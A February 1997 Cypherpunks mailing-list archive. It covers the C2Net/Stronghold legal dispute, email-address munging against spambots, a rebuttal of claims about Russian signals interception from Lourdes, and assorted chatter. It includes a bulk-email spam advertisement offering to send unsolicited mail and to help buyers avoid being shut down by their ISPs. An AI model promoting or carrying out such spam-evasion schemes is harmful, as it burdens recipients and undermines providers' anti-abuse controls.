>legislation / fines, to someone who has been called repeatedly by a >telemarketer? This person is not a current customer and so cannot >withdraw his/her business. As I said, I believe the case of repeated calls by the _same_ telemarketer is unusual. Perhaps others have had different experiences. And if a particular telemarketer is banned from calling twice, their solution will be obvious: they'll change their company name, farm out the calls to a subcontractor, etc. That is, they'll become a different "corporate instance." It'll be very tough for any law to keep up with such changes (without trampling severely on what most of us think of us as basic freedoms). --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From p-link at usa.net Sun Feb 16 19:56:28 1997 From: p-link at usa.net (Product Link) Date: Sun, 16 Feb 1997 19:56:28 -0800 (PST) Subject: We Will Send Your Bulk Email Message-ID: <199702170356.TAA17436@toad.com> *If you want to be removed from our mailing list, please respond to this email and put "Remove" in the subject line. We will send out your bulk E Mail. Period. No qualifiers, no conditions, no nonsense...and we'll do it at the best prices. We are Product Link. We are a business partner with a marketing company which develops buyers for its clients' products through electronic marketing; primarily broadcast fax. Together, we have over a hundred clients, almost 10% of which are Fortune 500 companies. We have numerous staff, and have just begun, at client request, to send high volumes of E Mail. If you're new to bulk E Mail marketing, as we were a short time ago, I can confirm that all the E Mails you've been getting from E Mail software companies about how great E Mail marketing is; well, they're true. However, as those of you who have already purchased software and have tried bulk E mail know, nothing good ever comes easy. Our staff has spent millions of advertising dollars on our clients' behalf; everything from commercials on the Superbowl to ads in the New York Times, to full page spreads in Scientific American.; not to mention the sending of over 1,000,000 marketing faxes a year for major corporations. Bulk E mail has been quite an eye opener. The Internet, the on line services and ISP providers are full of shrill, self appointed "net cops," whose mission in life seems to be dumping on those who have the audacity to sell product via E Mail. I don't wish nor intend to debate the issue here, except to say that if you've purchased bulk E Mail software (or intend to), you've already found out that when you attempt to use it, your ISP provider will shut you down, your E Mail account will be bombed, and electronic flames will become a way of life. Since we have a low tolerance for allowing small groups of vocal fanatics to dictate our business life, we set up our own system to send out Bulk E Mail. This system will be greatly expanded in 30 days or so (we're installing more T lines), but we currently have room on our system to send out Bulk E Mail for a limited number of companies or individuals other than ourselves. We'll send out your order, large or small. We'll do it quickly, and we'll do it at a really great price. You can supply the list, or we'll supply the list. Place an order with us, and we'll give you advice on how to set up your E Mail so your on line service won't shut you down, how to write your material, and much more. We will also write your marketing material, if you so desire. If you supply a list, we can run it through our computer program to sort out all duplicates and bad AOL or CompuServe addresses. If you buy a list from us, we will guarantee that the exact number of names you order will go out; if we send a list for you and a number of addresses are not delivered, we will send out more E Mails until you get delivered exactly what you ordered. We can even tell you how to confirm that your list was sent. We also have programs that can filter out E Mail "bombs" and other irritating toys played with at your expense by people who don't have a life. When we first began exploring bulk E mail, we contacted numerous firms advertising that they would send out bulk E mail. What we got was answering machines, disconnected numbers, and no call backs. The one firm that did contract us would only send limited numbers of E mails for us, and then only if we had already sent the list out once and taken off all the removes (go figure...if we could send out the list once, what did we need them for?). We finally got so exasperated, we set up our own system. And are we glad we did. Speaking as a marketing man with over 30 years experience in major advertising, E Mail marketing will change the face of advertising and cost of sale forever. I do not believe that has ever been a vehicle like it in history to allow anyone of any size and any budget to advertise and sell their products literally overnight. We employ 18 people, and I guarantee you that when you E Mail us back, you'll get a call. Right away. And the office phone number we give you, will have a live person at the other end. Following is a price list to give you an idea of the quality of our company. Please bear in mind that Bulk E Mail is effective in large numbers; i.e., 25,000 and above. Price List To Send Bulk E Mail: Amount Cost Set Up (One Time Fee) 25,000 $150.00 $50.00 50,000 $275.00 $50.00 75,000 $400.00 $50.00 100,000 $550.00 $50.00 Bulk E Mail amounts above 100,000 per sending will be bid on a case by case basis. If you wish to modem us a list, there may be a small charge for down load depending on list size. If you wish us to "clean" your list (remove all duplicates and bad addresses), we will supply a bid on a case by case basis as with writing your marketing materials and other services. If we may be of service to you, please call us directly at (805) 654-4042. Thank you. From ravage at einstein.ssz.com Sun Feb 16 20:02:09 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 16 Feb 1997 20:02:09 -0800 (PST) Subject: SSZ Test [No Reply] Message-ID: <199702170410.WAA05674@einstein> Test Sunday - No Reply From cynthb at sonetis.com Sun Feb 16 20:06:43 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sun, 16 Feb 1997 20:06:43 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702170406.XAA23365@homer.iosphere.net> -----BEGIN PGP SIGNED MESSAGE----- On Sun, 16 Feb 1997, camcc at abraxis.com (Alec) wrote: > :> I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > :> in the from: header. Sure, somebody out there is going to be unhappy with > :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots > :> are bouncing mail to the admin of the site instead of to me. > : > For the less computer articulate (me), please rephrase what you just > said more in the form of basic instructions. For starters, root is the all-powerful system administrator account on UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address, generally used for testing. A connection to loopback amounts to a software connection back to the originating host, and e-mail sent to loopback won't even go out the Ethernet card / modem / whatever. So, if I put root at 127.0.0.1 in the "From:" field of my news reader's configuration, all of my posts will give this as my e-mail address. Depending on the news reader, I may have to set options like "override default domain name", which would override my service provider's name. Since many commercial mailer programs ("SpamBots") scan Usenet news posts for potential target e-mail addresses, these programs will pick up my phony e-mail address and send their junk to their own system administrator instead of me :-) The smarter programs will also scan the bottom of posts for e-mail addresses in people's signatures (or .sig files). The "spam-busted" address described above could be anything that is not a verbatim copy of my e-mail address, for example: c.y.n.t.h.b at i.o.s.p.h.e.r.e.dot.n.e.t cynthb[at]iosphere.net cynthb@[NOSPAM].iosphere.net Any reasonably computer-literate human will be able to figure out what my real address is, but a cut-and-paste by a software robot won't work. Hope this helps, Cynthia -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: cp850 iQCVAwUBMwfYOZOg7xGCJGQtAQFysQP/VBvuOqZnuQd/1PKz2eApuKUFhUSqWcMe L0W44yFEhMF/vsSz9cZ1fY6ge72Mc1M6UaFPW109rkrmlT9Y0rytelmE+IVr5U92 Q0b+5t/SZAs2HTX8brF6XnqY+1kCcQCv20Yv1dUyWrHM/MOe6RUObSSS2uxqC7tf r4TWCnQ6y7c= =bet0 -----END PGP SIGNATURE----- =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From ichudov at algebra.com Sun Feb 16 20:11:15 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 16 Feb 1997 20:11:15 -0800 (PST) Subject: Threats of Legal Action and C2Net/Stronghold Issue Message-ID: <199702170411.UAA18052@toad.com> The story about Stronghold security flaws reminds me of The Right Reverend Colin James III (puke). CJ3 also started his kook career when he was accused of being stupid and not knowing what he was talking about in his announcement about performance of BSAM, his "invention". He immediately reacted to the accusers and promised to sue them, their employers, their providers, the Inspector General, and more. He really went after his enemies, trying to get them fired, etc. As a result of his long struggles, most enlightened minds on USENET realized that he was an excellent candidate for Kook of the Month award. A nomination followed. When he was elected Kook of the Month last January with a record-breaking vote, he threatened to sue anyone who mentions his new Kook status. That only added fuel to the fire, as more and more posters "dared" to expose him as a lying forger and kook. - Igor. From tcmay at got.net Sun Feb 16 20:12:55 1997 From: tcmay at got.net (Tim May) Date: Sun, 16 Feb 1997 20:12:55 -0800 (PST) Subject: Threats of Legal Action and C2Net/Stronghold Issue Message-ID: <199702170412.UAA18115@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, alt.privacy, comp.org.eff.talk) At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote: >Curiously, in a subsequent telephone conversation, Tim May >proposed almost that exact suggestion as an alternative form of >moderation that he said would have been acceptable to him. Go >figure. The only phone conversation I had was with Doug Barnes, at the request of Doug that I urgently phone either him or Sameer. I called Doug as soon as I got the message. (Doug also said he was the only one in the room at the time, and that the call was *not* being recorded, so I have to surmise that Sandy got his version of things via a recap by Doug.) >> 21. Tim received a warning from C2Net's lawyers that if he did not >> desist from mentioning that Dimitri had posted an article criticising >> a C2Net product that he would be sued! > >Absolutely false. > What Doug told me was that Dimitri Vulis had already been served with a legal notice about his warnings about a security flaw in Stronghold, and that any repetition of Dimitri's claims by me or anyone else would result in similar legal action. Doug said that any repetition of the claims, even as part of a quote, would be seen as actionable by C2Net. "We'll vigorously defend our rights." (as best I can recall) He said he thought my messages, to the extent they merely _alluded_ to the claims were probably OK and that they would certainly go through to the list, as Sandy has already resigned from his role as moderator. (For the record, these messages DID NOT GO THROUGH, and have not gone through as of tonight, 8-9 days later. However, I have forwarded them to several people who requested them.) (I also did not have a recorder running, so I can't claim this is a verbatim summary of what was said. As to what I said about how the moderation thing might have been done differently, Doug and I chatted for a while about various alternatives. I raised the point I've made before, that having a "members only" policy, with some special provision for some amount of remailed messages, would probably best suit the notion of keeping the "community" running. What I told Doug was that my main objection was having Sandy sit in judgement to essays folks might have spent a long time composing, and I cited physical parties, where a host invites those he wants in attendance, but does not micromanage or screen conversations being held at the party. My sense was that Doug agreed, and agreed that the whole thing had been handled in a bad way...but Doug should comment to tell his view of things.) The next day, at the physical Cyperpunks meeting at Stanford, I briefly talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he could "take his best shot," in terms of filing suit against me about my messages, as I'm prepared to fight C2Net in court on this matter, and have the financial resources to hire some pretty good lawyers. (I don't recall if Greg replied, or what his reply was.) In a message to Cypherpunks, I outlined my understanding of the Vulis report on security flaws in Stronghold, and put the claims in the context of messages not appearing on either of the two main lists, but none of my messages were sent to either the Main list or the Flames list. (I also had communication with several members of the list, some known to me and some only pseudonyms. I have taken the precaution of erasing these messages and copying files to the disk on which they resided to head off any attempts by C2Net seize my computer and disks as part of some "discovery" process.) I find it unfortunate that C2Net is behaving in such a manner, and their actions are generating far more publicity about the claimed security flaws in Stronghold than the original Vulis message ever would have generated. Sunlight is the best disinfectant, as a Supreme Court justice averred. And suppression is a breeding ground for all sorts of bacteria, fungi, and ugly growth, as a less articulate person said. Reporters interested in this story have already contacted me. They're interested in the situation surrounding the claims of a flaw. I told one reporter I had no expertise in Stronghold, SSL, etc., and could not say, but that I suspected strongly that the claim was made just as a "tweak" of C2Net. "Truth is an absolute defence against libel claims." (P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or by anyone else. I said as much in my messages which never made it to the list.) --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dthorn at gte.net Sun Feb 16 20:12:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 16 Feb 1997 20:12:56 -0800 (PST) Subject: The EFF Message-ID: <199702170412.UAA18116@toad.com> aga wrote: > On Sat, 15 Feb 1997, Dale Thorn wrote: > > Toto wrote: > > > Timothy C. May wrote: > > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > > > I have a brother-in-law who gives seminars to the Nouveau Riche in > > > the Bay Area, teaching them how to give their money away to 'good' > > > causes. I believe that one of the prime considerations in separating > > > the 'good' causes from the 'bad' causes has something to do with the > > > the proper wine being served with the cheese and cracker offerings > > > during their cocktail parties. > > Wine and cheese are the key. You hit that one on the head. I tried > > those Mensa parties in Beverly Hills a few times, but the girls want > > you to kiss their hands like some kinda princesses or something, > > whereas I think a simple handshake would suffice. So I just quit > > going. Maybe this has something to do with why there are no c-punks > > meetings in the L.A. area. > Dale, so you are in mensa? Did you have to take a test? I joined in 1986 at the urging of my sort-of lawyer (not a real lawyer, but much better actually) from Beverly Hills. He liked the parties since he was trolling for babes; recent (1986) divorce and all. Anyway, Mensa was accepting U.S. Military GT scores prior to 1980, and I scored 153 in 1966, which was the highest at the several posts I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe). I gave up on it after a few meetings, since I didn't care for the parties, and there didn't seem to be any really active/interesting people there. There was a "rational sig" I wanted to attend, but never got around to. Mensa did put on some good speakers every now and then, but you could do as well by checking in with the Masons or the other local civic groups. From kent at songbird.com Sun Feb 16 20:31:35 1997 From: kent at songbird.com (Kent Crispin) Date: Sun, 16 Feb 1997 20:31:35 -0800 (PST) Subject: test 527 Message-ID: <199702170535.VAA13163@songbird.com> test 527 -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From reece at taz.nceye.net Sun Feb 16 20:48:56 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 20:48:56 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: <199702170406.XAA23365@homer.iosphere.net> Message-ID: <19970217044832.19610.qmail@taz.nceye.net> From: "Cynthia H. Brown" Date: Sun, 16 Feb 1997 23:02:02 -0500 So, if I put root at 127.0.0.1 in the "From:" field of my news reader's configuration, all of my posts will give this as my e-mail address. More likely to be delivered is root@[127.0.0.1] or root at localhost.nceye.net or similar. The thing to the right has to be a name or a numeric address *in brackets*. Yes, this doesn't seem to make terribly much sense. Another approach if you can do it is to get an alias that looks like a message-ID. All my outgoing usenet posts lately have said From: Bryan Reece <23je8s$ksd at taz.nceye.net> at the top, and no spam has come to that address. From reece at taz.nceye.net Sun Feb 16 20:49:45 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 20:49:45 -0800 (PST) Subject: When and where? In-Reply-To: <199702170211.SAA12987@toad.com> Message-ID: <19970217044943.19626.qmail@taz.nceye.net> Delivered-To: reece at taz.nceye.net Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST) From: Jeremiah A Blatz Sender: owner-cypherpunks at toad.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- camcc at abraxis.com (Alec) writes: > Please post the date when this list will shift to Usenet if that is indeed to > happen. I have not been able to sort out the facts (?) from the speculation, > argument, and gas. > > I have requested my ISP to add alt.cypherpunks to the mail server asap. I hope you misspelled "news server." alt.cypherpunks (and subgroups) is a newsgroup. > I don't want to miss a second of the resurrected (or is that born again?) > c'punks. You should join one of the distributed mailing lists (choose the list admin you like/trust the most). There is supposed to be a gateway between the mailing list and the newsgroup, but it is not up yet. Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole (Cool, "newsgroup" is the first word in four consecutive lines. I did not do this on purpose, even.) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC T93ixsHuO7jhW4075ipfH/5MWMkI1zKz =G83r -----END PGP SIGNATURE----- -- From die at pig.die.com Sun Feb 16 20:49:59 1997 From: die at pig.die.com (Dave Emery) Date: Sun, 16 Feb 1997 20:49:59 -0800 (PST) Subject: Russian Sigint In-Reply-To: <1.5.4.32.19970216033354.006a87a8@mail1.wn.net> Message-ID: <9702170449.AA22630@pig.die.com> > > I found this on The New American web page. ? > > > GRU Snooping Continues. The interception, taping, and publication of a > conference call between Newt Gingrich and other congressional leaders > demonstrates the susceptibility of microwave-transmitted electronic > communications to eavesdropping. A growing number of intracity phone calls, > e-mail, and faxes, as well as nearly all long-distance calls, are carried via > microwave. But it's not just itinerant Democratic Party activists with police > scanners who can listen in on microwave communications. > This is complete horse pucky. Microwave is less and less and less used for long distance communications in the US. Very little traffic now flows over microwave links - fiber has so much higher capacity and better data error characteristics that it has nearly completely taken over long distance telephone and data communications. A typical microwave link can carry 45 or maybe 130 megabits per second maximum per rf channel and maybe has 6 rf channels in use at a time maximum whilst current fibers carry 1.5 Gigibits per fiber and can be upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current WDM technology. Typical installed fiber routes have around 30 or more fibers just because it is as easy to install that many as one. The remaining active microwave links are primarily used as backup for fiber routes and may not be carrying live traffic at all. Virtually every route that used to be microwave has now had one or more fiber routes installed to replace it and if it hasn't they are planned or being installed now. At the best there are a few remote places where installing fiber is impractical that still communicate with the world on microwave links and there are a few microwave systems still in service to carry certain vital national survival and security traffic where they provide redundancy. Also, essentially all current common carrier microwave is now digital rather than fm-fdm-ssb. These high capacity and bit rate 64-QAM or 256-QAM signals are significantly harder to intercept and demodulate and demultiplex than the FM signals used until the late 80's were. This is especially true of reception from sites that see only marginal scattered signals rather than the direct beam, as digital radio tends to not work at all with marginal signals rather than being just noisy. I think that probably less than 1% of US long distance public telephone and data communications currently travel by microwave at any point in their journey compared to more than 68% at the peak of microwave usage in the early 1980's. And this figure is dropping steadily over time as more and more fiber is put in service. > As the Center for Security Policy (CSP) points out, the GRU _ the Main > Intelligence Directorate of the General Staff of the Russian Armed Forces _ > maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and > Cam Ranh > Bay in Vietnam which are capable of intercepting nearly all microwaved > communication across the continental United States as well as the Atlantic and > Pacific. This is not entirely true. Intercepting microwave signals from over the horizon is not possible except under truly extraordinary propagation conditions and then only for brief periods of time with gigantic antennas and from relatively nearby places. And the resultant scattered signal is of very poor quality and getting usable high bit rate data out of such scatter signals, as would be required to intercept common carrier traffic, is not easily possible. At the very best the Lourdes facility might possibly be able to see occasional microwave scatter traffic from southern Florida and the Carribean on very good days. This is hardly traffic from the entire continental US and one can be very sure that the NSA and other agencies responsible for thinking about US communications security have long ago arranged in cooperation with the long distance carriers to ensure that nothing of any great use was showing up. There are two catagories of microwave traffic those facilities can intercept - domestic and international satellite traffic from US satellites with footprints that cover the Carribean and whatever radio traffic is intercepted by Russian low orbit ferret satellites as they pass over North America and by high orbit monitoring satellites parked over the western hemisphere. Very little public point to point telephone and data traffic between points in the US is currently transmitted via satellite. Fiber is so much cheaper and better in quality that the carriers gave up satellite transmission of domestic traffic some years ago. There are some compelling reasons for this - the long 240 ms delay in transmitting traffic via geosynchronous satellite is very noticable to many humans in the give and take of conversations, and without special protocol provisions many data communications systems give horrible throughput over links with that long a delay as well as giving unnacceptably long echo delays in interactive applications. And satellite bandwidths are even less than terrestrial microwave bandwidths and compared to the vast amount of fiber now in service are just a tiny fraction of the total. Domestic communications satellites are primarily used for point to multipoint traffic such as credit card authorization systems for gas stations and stores and distribution of video to TV stations and cable companies, and broadcasts of data to large numbers of receivers. It is rarely cheaper and more cost effective to put point to point traffic on communications satellites. And most of what is there is traffic sent by private users of one sort or another such as large companies and government agencies - much of which is securely encrypted if sensitive. And that which is not encrypted is readily accessible to anyone with the right commonly available equipment and a vanilla satellite dish of the sort there are literally millions and millions of scattered throughout the US, Canada and Mexico - the potential threat from this source dwarfs what the Russians might do with the information (and is readily controlled by link encryption). Even international communications from the US are less and less routed via satellite as high capacity fiber trans-ocean cables are installed. I have seen numbers on the order of less than 10% satellite transmission of international traffic and as new optical amplifier cables are installed (which one can assume the UKUSA partners such as the US NSA get the entire bitstream from) this number is also plunging. And most international satellite communications can be monitored from the other end and do not have to be monitored from near the US. As a point of fact I would be more concerned that Russian submarines have tapped the trans-Atlantic and trans-Pacific cables somewhere than that the Russians pick up satellite communications. One hopes that the bitstreams on those cables are really securely link encrypted - doing so would seem to be a no-brainer - but I have never seen any reference to this being the practice. What capabilities Russian sigint satellites still have in the post USSR era of economic collapse where Russia has not been able to launch a single imaging spy satellite for several months and has no usable ones in orbit, according to a recent NY Times story, is not clear. Russian satellites have generally had a much shorter useful life in orbit than US satellites do and Russia and the Russian space program has been pretty poor and disorganized for the last several years. At best such sigint satellites could conceivably be used to monitor some few domestic microwave links that happened to put a usable signal in the direction of the satellite and were far enough away from other transmitters on the same frequency to be separated by antenna directivity enough to stand out. While a satellite in geosynchronous orbit could see all of North America, it is pretty certain that it could see only a rather small fraction of modern digital microwave links well enough to recover traffic from them. And it is absolutely certain that the capacity of the satellite to intercept and relay traffic is only a few microwave links simultaneously at most. This is hardly everything or more than a small piece in fact. It has been reported that Russian sigint satellites use laser optical links back to Lourdes rather than the Ka and higher frequency band microwave links that US equivalents have used to pass the signals they intercept, but one suspects that the relevant US agencies have probably used whatever means were necessary to find these links and determine what US traffic is being monitored and ensure that that anything truly important was routed by fiber instead. In any case, the value of Lourdes is primarily as a base for intercepting US satellite communications and as a conveniant place to put a ground station for sigint and ferret satellites where satellite to satellite relay is not required to get the signals back to a ground station. If Lourdes were shut down most of the sigint functions of these satellites could be operated from Russia using satellite to satellite communications of one sort or another. The only major loss would be the ability to intercept certain domestic communications satellite signals which use focused beams and not readily intercepted from other places where the Russians may have space to put antennas. And one suspects that the Russians could probably do most of this interception from covert sites under cover as legitimate satellite installations in the US and Canada or other Caribbean or Central American countries. In any case it is certainly not true that Lourdes can intercept a significant fraction of US telecommunications simply because most US telecommunications do not any longer travel via microwave radio. Lourdes undoubtably can intercept enough useful stuff to justify continuing its operation, but this is partly because of blind US government policy on encryption rather than anything else. This especially applies to cellular communications which can be intercepted from satellites (and of course by anyone with a scanner or modified cellphone as well). How well even satellites with large 100 or 200 foot dishes do at intercepting the dense network of US and other cellular systems with hundreds of transmitters going at once on the same frequency in the area of the footprint of the satellite receive antenna at 800 mhz I do not know. And tracking and identifying calls of interest when the satellite can intercept only some cells on some cellsites reliably must be fairly hard. In any event the US operates several sigint satellites of much more advanced design and capability than Russia and has for many more years than the Russians have. And it is widely reported that the US has worldwide ground monitoring stations listening to essentially all communications satellites in the Clarke orbit and probably any that aren't that could possibly carry useful traffic. Our capabilities and technology and expenditure in this area is well beyond anyone elses. Furthermore, according to the CSP, "it is believed that both the > Russians > and the Cubans are developing capabilities at Lourdes to conduct information > warfare (IW). Such a capability would permit these facilities to be employed not > only to intercept information [but also to] make it possible for Moscow or > Havana > to manipulate telecommunicated information so as to deny the American people > and their government vital services or otherwise work against U.S. interests." > There may be some capability to jam US commercial communications satellites which for the most part have not any kind of protection against such jamming. Vital US military communications satellites do. Successfully conducting man-in-the-middle attacks on terrestrial microwave communications from Clarke orbit is difficult at the very very best and probably essentially impossible simply because of the 240 ms delay involved and the enormous difficulty of sucessfully interjecting the right kind of signal into a microwave link that uses highly directional antennas and modulation techniques that are amplitude sensitive such as QAM. And one can certainly assume that the US is carefully watching Russian sigint satellites at all times and would certainly know immediately if they started radiating enough signal to disrupt or spoof US communications systems. Of course all sigint yields information such as passwords and encryption keys and spectral signatures of speakers and call addressing and routing information (traffic analysis) that can be used to good advantage in later active man-in-the-middle attacks. And one can certainly assume that the Russians and many other governments including the US have spent considerable effort developing active penetration and disruption capablity. It has even been reported that the US has been using this to force network traffic to be routed in Europe via facilities the US can monitor. > According to former GRU Colonel Stanislav Lunev, "The strategic significance of > the Lourdes facility has grown dramatically since the secret order from Russian > Federation President [Boris Yeltsin] of 7 February 1996 demanding that the > Russian intelligence community step up the theft of American and other Western > economic and trade secrets. It currently represents a very formidable and > ominous > threat to U.S. national security as well as the American economy and > infrastructure." > > Yet the Clinton Administration insists that it is in America's interest to > allow the > GRU to continue its eavesdropping on the U.S. In congressional testimony > delivered on March 16, 1995, Assistant Secretary of State for Inter-American > Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint > activities in Cuba "could limit our ability to promote reform and stability > in Russia" > as it could "be seen by the Russians as interfering with the exercise of > their right > under the START Treaty to monitor compliance with the agreement...." > And of course if we pressure them and other governments to abandon sigint operations they can and will start to do the same to us. And ours are greater in magnitude and productivity than theirs. > As with so many other issues, the Clintonites and the Soviets are reading > from the > same page regarding the Cuban sigint facility. Izvestia reported last > November 30th > that the U.S. "does not object in principle to the continuing existence of the > electronic center in Cuba...."i > One can make the argument that sigint for national security purposes is stabilizing and not altogether a bad thing. Many of us who are at least dimly aware of the technology fear its potential in the hands of a future fascist police state greatly, but one suspects that the Russians do not use the information effectively to damage US interests. After all we are the top economic and military power in the world and they are nearly in third world status economicly and have a rapidly deteriorating military. Perhaps the greatest risk from their Soviet era sigint capabilities is that information will leak from starved intelligence agency employees and officials to the Russian criminal mafias and benefit organized crime. There is certainly potential there for mischief, especially considering that a good amount of criminally useful information flows unencrypted over radio communications in the US. If I was in the US government and thinking about the threat of the Russian sigint capability I would be pushing for more use of encryption in domestic commercial communications and especially such things as cellphones and wireless data systems. Universal link encryption with secure ciphers of such radio based communications systems should not impact lawful interception of communications one iota since the government can always request wiretaps using their spiffy new digital telephony tapping capablity. The carriers would always have access to the unencrypted traffic after all and could forward it to the government. And many of us think that end-to-end encryption of traffic is a better choice in the long run than no encryption, even if it locks out the government (and everyone else) from easily, and in large quantities, fishing through traffic. One supposes that the government will always be able to obtain most traffic it wants badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis, black bag jobs, bugging, and the perfidy of informants of one sort or another, and of course most of all - carelessness and ignorance about INFOSEC and bugs and configuration problems in software. But I would also be mindful that the Russians have decreasing intelligence capability to monitor US intentions and perhaps allowing them some access will keep them from developing paraniod fears of US intentions. The Russians probably still have a few working ICBMs after all... In any case enough of these speculations. Perhaps a semi-retired telecommunications/computer engineer such as myself with access only to public information gets the picture completely wrong. And perhaps not. I do know it is definately and without a doubt not true that more and more domestic communications flow over microwave point to point radio, however. And I think that anyone propagating that myth deserves a correction. Dave Emery die at die.com Weston, Mass. From reece at taz.nceye.net Sun Feb 16 20:52:43 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sun, 16 Feb 1997 20:52:43 -0800 (PST) Subject: When and where? In-Reply-To: <199702170211.SAA12987@toad.com> Message-ID: <19970217045244.20530.qmail@taz.nceye.net> Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST) From: Jeremiah A Blatz Here's the overview: cypherpunks at toad.com is going away. In its place is a distributed forum. This forum is currently made up of a network of mailing lists, which send all their messages to each other. In the future, the newsgroup alt.cypherpunks will be added to this network (posts to the newsgroup go to the mailing lists, mail to the lists goes to the newsgroup). The mailing lists will be faster than the newsgroup, the newsgroup will probably let you use better filtering tools. Your choice. There is currently a newsgroup cypherpunks.list on taz.nceye.net world-accessible. It receives cypherpunks at algebra.com, but posts there aren't sent back to the list yet. Anyone who wants an NNTP feed of it can have one. From die at pig.die.com Sun Feb 16 20:53:20 1997 From: die at pig.die.com (Dave Emery) Date: Sun, 16 Feb 1997 20:53:20 -0800 (PST) Subject: Modified Clipper chip - HA! (fwd) Message-ID: <9702170453.AA22664@pig.die.com> >For all of you who didn't see the last X-Files ... >Mulder made a visit to The Lone Gunman about breaking into some >impenetrable system. >Byers points out that "Yeah, that system is pretty hard to get into." >Mulder then inquires "well how did you guys get in?". >Byers replies cooly: "We used a modified Clipper chip we bought back from >the Chinese." >I didn't stop laughing for 5 minutes ... :) >_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ I don't know whether this guy knows it or not but mainland China buys huge quanities of DoD surplus scrap electronics. The material is required to be mutilated but stuff slips through. I have seen it myself. The little bit on X-files noted above is not as far fetched as one might believe. ..Jim <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> <:> Jim Conrad - Ocean View Communications - jjc at infi.net <:> <:> 757-490-8127 Office - 757-587-8251 Fax - 757-473-6740 Pager <:> <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:> From azur at netcom.com Sun Feb 16 20:54:30 1997 From: azur at netcom.com (Steve Schear) Date: Sun, 16 Feb 1997 20:54:30 -0800 (PST) Subject: The Science Generations, II Message-ID: Just a short update to our discussions regarding the 'dumbing down' of America. Although Gilbert appears to have gone out of the business I did find a few chemistry sets at my local hobby store. They were certainly a far cry from the bunsen burner and lab glassware I grew up with, they all appear to use micro amounts of reagent in pipette tubes. I doubt they will generate the excitement we experienced. BTW, regarding the difficulty in obtaining chemical reagents (unless you're in a qualified educational program or professionally employed at a large industrial company), I came across a relatively new company targeting the amateur scientist, Chemical Resale of Santa Barbara . It carries only a limited selection and prices seem very high (undoubtedly due to his small volume). Regarding amateur experiments with 'real' rockets, the Fed have passed a plethora of laws effectively resticting what non-governmental bodies may investigate. See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec. 173.88. I guess I can't play with matches anymore. Thank you Congress. --Steve From ravage at einstein.ssz.com Sun Feb 16 21:26:04 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 16 Feb 1997 21:26:04 -0800 (PST) Subject: SSZ Test [No Reply] Message-ID: <199702170526.VAA21146@toad.com> Test Sunday - No Reply From kent at songbird.com Sun Feb 16 21:26:11 1997 From: kent at songbird.com (Kent Crispin) Date: Sun, 16 Feb 1997 21:26:11 -0800 (PST) Subject: test 527 Message-ID: <199702170526.VAA21160@toad.com> test 527 -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 